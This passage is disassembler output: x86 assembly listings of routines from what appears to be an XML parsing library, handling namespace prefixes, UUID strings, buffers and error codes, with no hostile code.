jmp short loc_69B4D50B
; ---------------------------------------------------------------------------
loc_69B4D506: ; CODE XREF: sub_69B4D477+83j
mov eax, offset off_69B1A5AC
loc_69B4D50B: ; CODE XREF: sub_69B4D477+7Fj
; sub_69B4D477+8Dj
pop esi
pop ebx
pop ebp
retn 8
sub_69B4D477 endp
; =============== S U B R O U T I N E =======================================
sub_69B4D511 proc near ; CODE XREF: sub_69B8B2A8+11p
arg_0 = dword ptr 4
mov edx, [ecx+0Ch]
mov eax, [esp+arg_0]
cmp edx, [eax+0Ch]
jnz short loc_69B4D530
mov ecx, [ecx+8]
mov eax, [eax+8]
mov ecx, [ecx+14h]
cmp ecx, [eax+14h]
jnz short loc_69B4D530
xor eax, eax
inc eax
jmp short locret_69B4D532
; ---------------------------------------------------------------------------
loc_69B4D530: ; CODE XREF: sub_69B4D511+Aj
; sub_69B4D511+18j
xor eax, eax
locret_69B4D532: ; CODE XREF: sub_69B4D511+1Dj
retn 4
sub_69B4D511 endp
; =============== S U B R O U T I N E =======================================
sub_69B4D535 proc near ; CODE XREF: sub_69B4DDE6+1Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp dword ptr [eax+10h], 0
push esi
mov esi, ecx
jnz short loc_69B4D54E
add eax, 18h
push eax
lea ecx, [esi+18h]
call sub_69B4D414
loc_69B4D54E: ; CODE XREF: sub_69B4D535+Bj
dec dword ptr [esi+20h]
push dword ptr [esi+20h]
mov ecx, [esi+1Ch]
call sub_69B8A22A
pop esi
retn 4
sub_69B4D535 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B4D560(LPCWSTR lpString, int, int, int)
sub_69B4D560 proc near ; CODE XREF: sub_69B4D62C+64p
; sub_69B7521B+58p
lpString = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+lpString]
mov ax, [edi]
cmp ax, 78h
mov ebx, ecx
jz short loc_69B4D57A
cmp ax, 58h
jnz short loc_69B4D5E5
loc_69B4D57A: ; CODE XREF: sub_69B4D560+12j
cmp [ebp+arg_4], 2
jbe short loc_69B4D5E5
push 3
pop ecx
cmp [ebp+arg_4], ecx
jnz short loc_69B4D594
mov esi, offset aXml_0 ; "xml"
xor eax, eax
repe cmpsw
jz short loc_69B4D5B2
loc_69B4D594: ; CODE XREF: sub_69B4D560+26j
push 5
pop ecx
cmp [ebp+arg_4], ecx
jnz short loc_69B4D5CC
mov edi, [ebp+lpString]
mov esi, offset Str1 ; "xmlns"
xor eax, eax
repe cmpsw
jnz short loc_69B4D5CC
mov eax, dword_69B95A5C
jmp short loc_69B4D5B7
; ---------------------------------------------------------------------------
loc_69B4D5B2: ; CODE XREF: sub_69B4D560+32j
mov eax, dword_69B95A64
loc_69B4D5B7: ; CODE XREF: sub_69B4D560+50j
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_69B4D5C1
mov byte ptr [ecx], 1
loc_69B4D5C1: ; CODE XREF: sub_69B4D560+5Cj
mov ecx, [ebp+arg_C]
test ecx, ecx
jz short loc_69B4D614
mov [ecx], eax
jmp short loc_69B4D614
; ---------------------------------------------------------------------------
loc_69B4D5CC: ; CODE XREF: sub_69B4D560+3Aj
; sub_69B4D560+49j
mov esi, [ebp+arg_8]
test esi, esi
jz short loc_69B4D5E5
push [ebp+arg_4]
push [ebp+lpString]
call sub_69B4D200
test al, al
jz short loc_69B4D5E5
mov byte ptr [esi], 1
loc_69B4D5E5: ; CODE XREF: sub_69B4D560+18j
; sub_69B4D560+1Ej ...
cmp dword ptr [ebx+20h], 0
jle short loc_69B4D612
push [ebp+arg_4] ; int
mov ecx, ebx
push [ebp+lpString] ; lpString
push 0 ; int
call sub_69B4D394
mov esi, [ebx+20h]
mov edi, eax
jmp short loc_69B4D60F
; ---------------------------------------------------------------------------
loc_69B4D601: ; CODE XREF: sub_69B4D560+B0j
mov ecx, [ebx+1Ch]
push esi
call sub_69B8A163
cmp [eax+10h], edi
jz short loc_69B4D61B
loc_69B4D60F: ; CODE XREF: sub_69B4D560+9Fj
dec esi
jns short loc_69B4D601
loc_69B4D612: ; CODE XREF: sub_69B4D560+89j
xor eax, eax
loc_69B4D614: ; CODE XREF: sub_69B4D560+66j
; sub_69B4D560+6Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn 10h
; ---------------------------------------------------------------------------
loc_69B4D61B: ; CODE XREF: sub_69B4D560+ADj
mov ecx, [ebp+arg_C]
test ecx, ecx
jz short loc_69B4D627
mov edx, [eax+0Ch]
mov [ecx], edx
loc_69B4D627: ; CODE XREF: sub_69B4D560+C0j
mov eax, [eax+8]
jmp short loc_69B4D614
sub_69B4D560 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B4D62C(LPCWSTR lpString, int, int, int, int, int, int)
sub_69B4D62C proc near ; CODE XREF: sub_69B4DE11+148p
; sub_69B4E09A+DFp ...
lpString = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
mov ebx, ecx
mov eax, [ebx+14h]
push edi
add esi, 4
xor edi, edi
cmp esi, eax
jbe short loc_69B4D664
cmp eax, edi
jbe short loc_69B4D652
push dword ptr [ebx+10h]
call sub_69B1B2B7
mov [ebx+10h], edi
loc_69B4D652: ; CODE XREF: sub_69B4D62C+19j
lea eax, [esi+esi]
push eax
mov [ebx+14h], edi
call sub_69B1D897
mov [ebx+10h], eax
mov [ebx+14h], esi
loc_69B4D664: ; CODE XREF: sub_69B4D62C+15j
cmp [ebp+arg_10], edi
jnz loc_69B4D6F7
cmp byte ptr [ebp+arg_18], 0
jnz loc_69B4D6F7
mov esi, [ebp+arg_8]
cmp esi, edi
jz short loc_69B4D6DE
lea eax, [ebp+arg_14]
push eax ; int
lea eax, [ebp+arg_18+3]
push eax ; int
push esi ; int
push [ebp+lpString] ; lpString
mov ecx, ebx
mov byte ptr [ebp+arg_18+3], 0
call sub_69B4D560
cmp eax, edi
mov [ebp+arg_10], eax
jnz short loc_69B4D6B6
push edi
push esi
push [ebp+lpString]
call sub_69B190C1
push eax
mov eax, 0C00CE01Dh
push eax
push eax
call sub_69B2E9D0
add esp, 10h
loc_69B4D6B6: ; CODE XREF: sub_69B4D62C+6Ej
cmp byte ptr [ebp+arg_18+3], 0
jz short loc_69B4D6F7
cmp byte ptr [ebp+arg_C], 0
jz short loc_69B4D6F7
push edi
push esi
push [ebp+lpString]
call sub_69B190C1
push eax
mov eax, 0C00CE568h
push eax
push eax
call sub_69B2E9D0
add esp, 10h
jmp short loc_69B4D6F7
; ---------------------------------------------------------------------------
loc_69B4D6DE: ; CODE XREF: sub_69B4D62C+50j
cmp byte ptr [ebp+arg_C], 0
jz short loc_69B4D6F7
mov eax, [ebx+18h]
cmp eax, edi
jz short loc_69B4D6F7
mov ecx, [eax+8]
mov eax, [eax+0Ch]
mov [ebp+arg_10], ecx
mov [ebp+arg_14], eax
loc_69B4D6F7: ; CODE XREF: sub_69B4D62C+3Bj
; sub_69B4D62C+45j ...
mov eax, [ebx+10h]
mov ecx, [ebp+arg_14]
mov esi, [ebp+lpString]
mov [eax], ecx
mov edi, [ebx+10h]
mov ecx, [ebp+arg_4]
add edi, 4
rep movsw
mov esi, [ebp+arg_4]
mov ecx, [ebx+0Ch]
lea eax, [esi+2]
push eax
push dword ptr [ebx+10h]
mov [ebp+arg_18], eax
call sub_69B1941C
mov edi, eax
xor eax, eax
cmp edi, eax
jnz short loc_69B4D79A
mov edi, [ebp+arg_8]
cmp edi, eax
mov ecx, ebx
jz short loc_69B4D75E
push edi ; int
push [ebp+lpString] ; lpString
push eax ; int
call sub_69B4D394
cmp esi, edi
mov [ebp+arg_C], eax
jbe short loc_69B4D757
mov eax, [ebp+lpString]
sub esi, edi
dec esi
push esi
lea eax, [eax+edi*2+2]
push eax
push 0
mov ecx, ebx
jmp short loc_69B4D766
; ---------------------------------------------------------------------------
loc_69B4D757: ; CODE XREF: sub_69B4D62C+117j
mov eax, dword_69B95A18
jmp short loc_69B4D76B
; ---------------------------------------------------------------------------
loc_69B4D75E: ; CODE XREF: sub_69B4D62C+106j
push esi ; int
push [ebp+lpString] ; lpString
mov [ebp+arg_C], eax
push eax ; int
loc_69B4D766: ; CODE XREF: sub_69B4D62C+129j
call sub_69B4D394
loc_69B4D76B: ; CODE XREF: sub_69B4D62C+130j
push [ebp+arg_C]
push [ebp+arg_14]
push [ebp+arg_10]
push eax
call sub_69B192E9
push eax
call sub_69B4D460
push [ebp+arg_18]
mov edi, eax
mov eax, [ebx+10h]
mov ebx, [ebx+0Ch]
push eax
call sub_69B190C1
push edi
push eax
mov ecx, ebx
call sub_69B3182D
loc_69B4D79A: ; CODE XREF: sub_69B4D62C+FDj
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn 1Ch
sub_69B4D62C endp
; =============== S U B R O U T I N E =======================================
sub_69B4D7A3 proc near ; CODE XREF: sub_69B3DA18+26p
; sub_69B45CD4:loc_69B45DCEp ...
push 7Ch
push offset dword_69B4D8D8
call sub_69B19C5C
mov eax, dword_69B92170
xor eax, [ebp+4]
mov [ebp-1Ch], eax
mov [ebp-20h], ecx
xor eax, eax
xor edi, edi
lea esi, [ebp-60h]
mov [ebp-64h], esi
mov [ebp-4], eax
mov ecx, [ebp+14h]
cmp ecx, eax
jz short loc_69B4D7E5
mov eax, [ecx]
call dword ptr [eax+2Ch]
mov [ebp-68h], eax
mov edi, [eax+8]
mov [ebp-6Ch], edi
lea eax, [edi+1]
mov [ebp-70h], eax
loc_69B4D7E5: ; CODE XREF: sub_69B4D7A3+2Cj
mov ecx, [ebp+8]
mov ecx, [ecx+8]
mov [ebp-74h], ecx
add eax, ecx
mov [ebp-70h], eax
lea ebx, [eax+2]
lea eax, [ebx+ebx]
mov [ebp-78h], eax
cmp eax, 20h
jle short loc_69B4D811
add eax, eax
push eax
call sub_69B1D897
mov [ebp-7Ch], eax
mov esi, eax
mov [ebp-64h], esi
loc_69B4D811: ; CODE XREF: sub_69B4D7A3+5Cj
mov eax, [ebp+10h]
mov [esi], eax
lea eax, [esi+4]
test edi, edi
jz short loc_69B4D839
push edi
push eax
mov ecx, [ebp+14h]
mov eax, [ecx]
call dword ptr [eax+2Ch]
mov ecx, eax
call sub_69B2ECF7
mov word ptr [esi+edi*2+4], 3Ah
lea eax, [esi+edi*2+6]
loc_69B4D839: ; CODE XREF: sub_69B4D7A3+78j
push dword ptr [ebp-74h]
mov ecx, [ebp+8]
push eax
call sub_69B2ECF7
mov edi, [ebp-20h]
mov ecx, [edi+0Ch]
mov [ebp-80h], ecx
push ebx
push esi
call sub_69B1941C
mov [ebp-84h], eax
test eax, eax
jnz short loc_69B4D8A2
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_69B192B7
push eax
call sub_69B4D460
mov [ebp-84h], eax
mov edi, [edi+0Ch]
mov [ebp-88h], edi
push ebx
push 0
push esi
call sub_69B190A9
mov [ebp-8Ch], eax
push dword ptr [ebp-84h]
push eax
mov ecx, edi
call sub_69B3182D
loc_69B4D8A2: ; CODE XREF: sub_69B4D7A3+BAj
or dword ptr [ebp-4], 0FFFFFFFFh
call sub_69B4D8C7
mov eax, [ebp-84h]
mov ecx, [ebp-1Ch]
xor ecx, [ebp+4]
call sub_69B1B9F6
call sub_69B1853C
retn 10h
sub_69B4D7A3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_69B4D8C4 proc near ; DATA XREF: .text:69B4D8E0o
mov esi, [ebp-64h]
sub_69B4D8C4 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_69B4D8C7 proc near ; CODE XREF: sub_69B4D7A3+103p
lea eax, [ebp-60h]
cmp esi, eax
jz short locret_69B4D8D4
push esi
call sub_69B1B2B7
locret_69B4D8D4: ; CODE XREF: sub_69B4D8C7+5j
retn
sub_69B4D8C7 endp
; ---------------------------------------------------------------------------
align 4
dword_69B4D8D8 dd 0FFFFFFFFh, 0 dd offset sub_69B4D8C4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4D8E4 proc near ; CODE XREF: sub_69B3E5A2+A7p
; sub_69B4D02C+9Ap ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_0]
cmp ebx, 12h ; switch 19 cases
push esi
mov esi, 80070057h
ja short loc_69B4D914 ; default
; jumptable 69B4D8FD cases 3,7-10,12-14,16
movzx eax, ds:byte_69B4DA58[ebx]
jmp ds:off_69B4DA48[eax*4] ; switch jump
loc_69B4D904: ; DATA XREF: .text:off_69B4DA48o
push 0 ; jumptable 69B4D8FD case 4
push 0C00CE21Ah
push esi
call sub_69B2E9D0
add esp, 0Ch
loc_69B4D914: ; CODE XREF: sub_69B4D8E4+10j
; sub_69B4D8E4+19j
; DATA XREF: ...
push 0 ; default
; jumptable 69B4D8FD cases 3,7-10,12-14,16
push ebx
call sub_69B47CF1
push eax
push 0C00CE208h
push esi
call sub_69B2E9D0
add esp, 10h
cmp byte ptr [ebp+arg_0+3], 0
jz loc_69B4DA42 ; jumptable 69B4D8FD cases 1,2,6,17
loc_69B4D935: ; CODE XREF: sub_69B4D8E4+19j
; DATA XREF: .text:off_69B4DA48o
push edi ; jumptable 69B4D8FD cases 0,5,11,15,18
mov edi, [ebp+arg_4]
test edi, edi
jnz short loc_69B4D954
push edi
push ebx
call sub_69B47CF1
push eax
mov eax, 0C00CE20Eh
push eax
push eax
call sub_69B2E9D0
add esp, 10h
loc_69B4D954: ; CODE XREF: sub_69B4D8E4+57j
cmp [ebp+arg_0], 0
mov esi, [edi+0Ch]
mov ebx, [edi+8]
mov [ebp+arg_4], esi
jz short loc_69B4D9E0
cmp [ebp+arg_0], 0Fh
jz short loc_69B4D9E0
xor eax, eax
cmp [ebp+arg_4], eax
mov esi, 0C00CE227h
jnz short loc_69B4D97A
cmp [ebx+10h], eax
jz short loc_69B4D996
loc_69B4D97A: ; CODE XREF: sub_69B4D8E4+8Fj
push eax
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+2Ch]
push eax
push [ebp+arg_0]
call sub_69B47CF1
push eax
push esi
push esi
call sub_69B2E9D0
add esp, 14h
loc_69B4D996: ; CODE XREF: sub_69B4D8E4+94j
cmp [ebp+arg_0], 5
jnz loc_69B4DA41
mov ecx, [ebx+14h]
mov eax, [ecx]
call dword ptr [eax+2Ch]
cmp dword ptr [eax+8], 3
jnz loc_69B4DA41
push dword ptr [eax+0Ch]
push offset aXml ; "xml"
call sub_69B2ED17
test eax, eax
jnz short loc_69B4DA41
push eax
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+2Ch]
push eax
push 5
call sub_69B47CF1
push eax
push esi
push esi
call sub_69B2E9D0
add esp, 14h
jmp short loc_69B4DA41
; ---------------------------------------------------------------------------
loc_69B4D9E0: ; CODE XREF: sub_69B4D8E4+7Dj
; sub_69B4D8E4+83j
test esi, esi
jz short loc_69B4DA41
push esi
call sub_69B4D223
test al, al
jz short loc_69B4DA41
cmp [ebp+arg_0], 0Fh
jnz short loc_69B4DA30
push esi
call sub_69B4D2B6
test eax, eax
jz short loc_69B4DA30
cmp eax, dword_69B95A5C
jnz short loc_69B4DA41
push dword ptr [ebx+14h]
call sub_69B4D223
test al, al
jz short loc_69B4DA41
mov ebx, [ebx+14h]
mov eax, [ebx]
push 0
mov ecx, ebx
call dword ptr [eax+2Ch]
push eax
mov eax, 0C00CE010h
push eax
push eax
call sub_69B2E9D0
add esp, 10h
jmp short loc_69B4DA41
; ---------------------------------------------------------------------------
loc_69B4DA30: ; CODE XREF: sub_69B4D8E4+10Ej
; sub_69B4D8E4+118j
mov eax, 0C00CE568h
push 0
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
loc_69B4DA41: ; CODE XREF: sub_69B4D8E4+B6j
; sub_69B4D8E4+C8j ...
pop edi
loc_69B4DA42: ; CODE XREF: sub_69B4D8E4+19j
; sub_69B4D8E4+4Bj
; DATA XREF: ...
pop esi ; jumptable 69B4D8FD cases 1,2,6,17
pop ebx
pop ebp
retn 8
sub_69B4D8E4 endp
; ---------------------------------------------------------------------------
off_69B4DA48 dd offset loc_69B4D935 ; DATA XREF: sub_69B4D8E4+19r
dd offset loc_69B4DA42 ; jump table for switch statement
dd offset loc_69B4D904
dd offset loc_69B4D914
byte_69B4DA58 db 0, 1, 1, 3 ; DATA XREF: sub_69B4D8E4+12r
db 2, 0, 1, 3 ; indirect table for switch statement
db 3, 3, 3, 0
db 3, 3, 3, 0
db 3, 1, 0
; ---------------------------------------------------------------------------
loc_69B4DA6B: ; DATA XREF: sub_69B4E185+38o
push esi
mov esi, [esp+0Ch]
push dword ptr [esi]
call sub_69B2F0C4
mov [esi], eax
mov esi, [esp+10h]
mov eax, [esi]
mov ecx, [eax+0Ch]
mov edx, [eax+10h]
mov eax, [eax+8]
push ecx
push edx
push eax
call sub_69B4D460
mov [esi], eax
pop esi
retn 10h
; =============== S U B R O U T I N E =======================================
sub_69B4DA96 proc near ; CODE XREF: sub_69B4C3EC+C5p
; sub_69B4C3EC+11Fp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
push ecx
push ebx
push ebp
mov [esp+0Ch+var_4], ecx
mov ecx, [esp+0Ch+arg_0]
mov eax, [ecx]
push esi
push edi
call dword ptr [eax+2Ch]
mov ebx, eax
mov eax, [ebx+8]
push 5
pop ebp
cmp eax, ebp
jle short loc_69B4DACE
mov esi, [ebx+0Ch]
push 0Ah
pop ecx
mov edi, offset aUuid ; "uuid:"
xor edx, edx
repe cmpsb
jz short loc_69B4DACA
sbb edx, edx
sbb edx, 0FFFFFFFFh
loc_69B4DACA: ; CODE XREF: sub_69B4DA96+2Dj
test edx, edx
jz short loc_69B4DAEF
loc_69B4DACE: ; CODE XREF: sub_69B4DA96+1Cj
push 9
pop ebp
cmp eax, ebp
jle short loc_69B4DB23
mov esi, [ebx+0Ch]
push 12h
pop ecx
mov edi, offset aUrnUuid ; "urn:uuid:"
xor edx, edx
repe cmpsb
jz short loc_69B4DAEB
sbb edx, edx
sbb edx, 0FFFFFFFFh
loc_69B4DAEB: ; CODE XREF: sub_69B4DA96+4Ej
test edx, edx
jnz short loc_69B4DB23
loc_69B4DAEF: ; CODE XREF: sub_69B4DA96+36j
push eax
push ebp
mov ecx, ebx
call sub_69B2F3CD
mov ecx, eax
call sub_69B2F266
xor esi, esi
push esi
push eax
push ebp
push esi
mov ecx, ebx
call sub_69B2F3CD
push eax
call sub_69B2F2CA
mov ecx, [esp+20h+var_4]
add esp, 0Ch
push esi ; int
push esi ; lpString
push eax ; int
call sub_69B4D394
jmp short loc_69B4DB27
; ---------------------------------------------------------------------------
loc_69B4DB23: ; CODE XREF: sub_69B4DA96+3Dj
; sub_69B4DA96+57j
mov eax, [esp+14h+arg_0]
loc_69B4DB27: ; CODE XREF: sub_69B4DA96+8Bj
cmp dword_69B95A44, eax
pop edi
pop esi
pop ebp
pop ebx
jz short loc_69B4DB3B
cmp dword_69B95A4C, eax
jnz short loc_69B4DB40
loc_69B4DB3B: ; CODE XREF: sub_69B4DA96+9Bj
mov eax, dword_69B95A54
loc_69B4DB40: ; CODE XREF: sub_69B4DA96+A3j
cmp dword_69B95A34, eax
jnz short loc_69B4DB4D
mov eax, dword_69B95A3C
loc_69B4DB4D: ; CODE XREF: sub_69B4DA96+B0j
pop ecx
retn 4
sub_69B4DA96 endp
; ---------------------------------------------------------------------------
align 4
aUrnUuid: ; DATA XREF: sub_69B4DA96+45o
unicode 0, <urn:uuid:>,0
aUuid: ; DATA XREF: sub_69B4DA96+24o
unicode 0, <uuid:>,0
; =============== S U B R O U T I N E =======================================
sub_69B4DB74 proc near ; DATA XREF: .text:69B151E4o
; .text:69B16F60o
push esi
mov esi, ecx
push 0
lea eax, [esi+8]
push eax
call sub_69B17320
push 0
lea eax, [esi+0Ch]
push eax
call sub_69B17320
push 0
lea eax, [esi+10h]
push eax
call sub_69B17320
mov ecx, esi
pop esi
jmp nullsub_5
sub_69B4DB74 endp
; =============== S U B R O U T I N E =======================================
sub_69B4DBA0 proc near ; DATA XREF: .text:69B15130o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B4DBBB
test [esp+4+arg_0], 1
jz short loc_69B4DBB5
push esi
call sub_69B1829F
loc_69B4DBB5: ; CODE XREF: sub_69B4DBA0+Dj
mov eax, esi
pop esi
retn 4
sub_69B4DBA0 endp
; =============== S U B R O U T I N E =======================================
sub_69B4DBBB proc near ; CODE XREF: sub_69B4DBA0+3p
push esi
mov esi, ecx
lea eax, [esi+18h]
push eax
call sub_69B17230
lea eax, [esi+10h]
push eax
call sub_69B17230
lea eax, [esi+0Ch]
push eax
call sub_69B17230
lea eax, [esi+8]
push eax
call sub_69B17230
mov ecx, esi
pop esi
jmp sub_69B186FA
sub_69B4DBBB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4DBEA proc near ; CODE XREF: sub_69B4DFFF+74p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B2FA09
push eax
call sub_69B4D460
pop ebp
retn 14h
sub_69B4DBEA endp
; =============== S U B R O U T I N E =======================================
sub_69B4DC0B proc near ; DATA XREF: .text:69B151DCo
mov eax, [ecx+0Ch]
mov ecx, [ecx+8]
push eax
push ecx
call sub_69B4D477
retn
sub_69B4DC0B endp
; =============== S U B R O U T I N E =======================================
sub_69B4DC19 proc near ; DATA XREF: .text:69B12730o
push esi
push edi
mov esi, ecx
xor edi, edi
push edi
lea eax, [esi+0Ch]
push eax
call sub_69B17320
push edi
lea eax, [esi+1Ch]
push eax
call sub_69B17320
push edi
lea eax, [esi+18h]
push eax
call sub_69B17320
mov eax, [esi+10h]
cmp eax, edi
jz short loc_69B4DC4D
push eax
call sub_69B1B2B7
mov [esi+10h], edi
loc_69B4DC4D: ; CODE XREF: sub_69B4DC19+29j
push edi
lea eax, [esi+8]
push eax
mov [esi+14h], edi
call sub_69B17320
pop edi
mov ecx, esi
pop esi
jmp nullsub_5
sub_69B4DC19 endp
; =============== S U B R O U T I N E =======================================
sub_69B4DC63 proc near ; DATA XREF: .text:69B12708o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B4DC7E
test [esp+4+arg_0], 1
jz short loc_69B4DC78
push esi
call sub_69B1829F
loc_69B4DC78: ; CODE XREF: sub_69B4DC63+Dj
mov eax, esi
pop esi
retn 4
sub_69B4DC63 endp
; =============== S U B R O U T I N E =======================================
sub_69B4DC7E proc near ; CODE XREF: sub_69B4DC63+3p
push esi
mov esi, ecx
lea eax, [esi+1Ch]
push eax
mov dword ptr [esi], offset off_69B126FC
call sub_69B17230
lea eax, [esi+18h]
push eax
call sub_69B17230
lea eax, [esi+0Ch]
push eax
call sub_69B17230
lea eax, [esi+8]
push eax
call sub_69B17230
mov ecx, esi
pop esi
jmp sub_69B186FA
sub_69B4DC7E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4DCB3 proc near ; CODE XREF: sub_69B490BC+51p
; sub_69B4DD27+70p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
test ebx, ebx
push esi
push edi
mov edi, [ebp+arg_8]
mov esi, ecx
jnz short loc_69B4DCD1
test edi, edi
jz short loc_69B4DCDB
push edi
call sub_69B4DA96
mov ebx, eax
loc_69B4DCD1: ; CODE XREF: sub_69B4DCB3+10j
test edi, edi
jnz short loc_69B4DCDB
test ebx, ebx
jz short loc_69B4DCDB
mov edi, ebx
loc_69B4DCDB: ; CODE XREF: sub_69B4DCB3+14j
; sub_69B4DCB3+20j ...
push 1Ch
call sub_69B17EF3
test eax, eax
jz short loc_69B4DCF9
push [ebp+arg_C]
mov ecx, eax
push edi
push ebx
push [ebp+arg_0]
call sub_69B150C8
mov edi, eax
jmp short loc_69B4DCFB
; ---------------------------------------------------------------------------
loc_69B4DCF9: ; CODE XREF: sub_69B4DCB3+31j
xor edi, edi
loc_69B4DCFB: ; CODE XREF: sub_69B4DCB3+44j
mov ecx, [esi+1Ch]
push edi
call sub_69B8A35C
inc dword ptr [esi+20h]
cmp [ebp+arg_0], 0
jnz short loc_69B4DD20
add esi, 18h
push esi
lea ecx, [edi+18h]
call sub_69B4D414
push edi
push esi
call sub_69B17320
loc_69B4DD20: ; CODE XREF: sub_69B4DCB3+58j
pop edi
pop esi
pop ebx
pop ebp
retn 10h
sub_69B4DCB3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4DD27 proc near ; CODE XREF: sub_69B173D1+15Dp
; sub_69B4DDB5+27p ...
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push edi
lea eax, [ebp+var_C]
mov [ebp+var_8], ecx
mov ecx, [ebp+arg_0]
push eax
call sub_69B48F23
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz short loc_69B4DDAF
push esi
loc_69B4DD47: ; CODE XREF: sub_69B4DD27+85j
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+3Ch]
mov ecx, [eax+0Ch]
mov eax, [eax+8]
cmp ecx, dword_69B95A6C
mov esi, [eax+14h]
mov eax, [esi]
mov ecx, esi
setz [ebp+var_1]
call dword ptr [eax+2Ch]
cmp [eax+8], ebx
jnz short loc_69B4DD6F
xor esi, esi
loc_69B4DD6F: ; CODE XREF: sub_69B4DD27+44j
cmp [ebp+var_1], bl
jz short loc_69B4DD9C
mov ecx, edi
call sub_69B40333
cmp eax, ebx
jz short loc_69B4DD8C
mov ecx, [ebp+var_8]
push ebx ; int
push ebx ; lpString
push eax ; int
call sub_69B4D394
jmp short loc_69B4DD8E
; ---------------------------------------------------------------------------
loc_69B4DD8C: ; CODE XREF: sub_69B4DD27+56j
xor eax, eax
loc_69B4DD8E: ; CODE XREF: sub_69B4DD27+63j
push [ebp+arg_0]
mov ecx, [ebp+var_8]
push eax
push ebx
push esi
call sub_69B4DCB3
loc_69B4DD9C: ; CODE XREF: sub_69B4DD27+4Bj
mov ecx, [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_69B486B5
mov edi, eax
cmp edi, ebx
jnz short loc_69B4DD47
pop esi
loc_69B4DDAF: ; CODE XREF: sub_69B4DD27+1Dj
pop edi
pop ebx
leave
retn 4
sub_69B4DD27 endp
; =============== S U B R O U T I N E =======================================
sub_69B4DDB5 proc near ; CODE XREF: sub_69B4DDB5+1Fp
; sub_69B5CB6E+51p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test byte ptr [esi+0Bh], 1Fh
push edi
mov edi, ecx
jnz short loc_69B4DDE1
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0F4h]
test eax, eax
jz short loc_69B4DDD9
push eax
mov ecx, edi
call sub_69B4DDB5
loc_69B4DDD9: ; CODE XREF: sub_69B4DDB5+1Aj
push esi
mov ecx, edi
call sub_69B4DD27
loc_69B4DDE1: ; CODE XREF: sub_69B4DDB5+Cj
pop edi
pop esi
retn 4
sub_69B4DDB5 endp
; =============== S U B R O U T I N E =======================================
sub_69B4DDE6 proc near ; CODE XREF: sub_69B173D1+2C8p
; sub_69B4FCAC+34p ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
jmp short loc_69B4DE06
; ---------------------------------------------------------------------------
loc_69B4DDEB: ; CODE XREF: sub_69B4DDE6+25j
mov ecx, [esi+1Ch]
dec eax
push eax
call sub_69B8A163
mov ecx, [eax+14h]
cmp ecx, [esp+4+arg_0]
jnz short loc_69B4DE0D
push eax
mov ecx, esi
call sub_69B4D535
loc_69B4DE06: ; CODE XREF: sub_69B4DDE6+3j
mov eax, [esi+20h]
test eax, eax
jg short loc_69B4DDEB
loc_69B4DE0D: ; CODE XREF: sub_69B4DDE6+16j
pop esi
retn 4
sub_69B4DDE6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4DE11 proc near ; CODE XREF: sub_69B4AD10+33p
; sub_69B4E634+99p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
cmp [ebp+arg_0], 1
mov [ebp+var_20], ecx
jg short loc_69B4DE2D
mov ecx, [ebp+arg_4]
call sub_69B2F43C
jmp locret_69B4DFAC
; ---------------------------------------------------------------------------
loc_69B4DE2D: ; CODE XREF: sub_69B4DE11+Dj
push ebx
mov ebx, [ebp+arg_4]
mov eax, [ebx+0Ch]
push edi
xor edi, edi
mov [ebp+var_14], eax
mov eax, [ebx+8]
mov [ebp+var_8], eax
mov [ebp+var_C], edi
mov [ebp+var_1C], edi
mov [ebp+var_10], edi
push esi
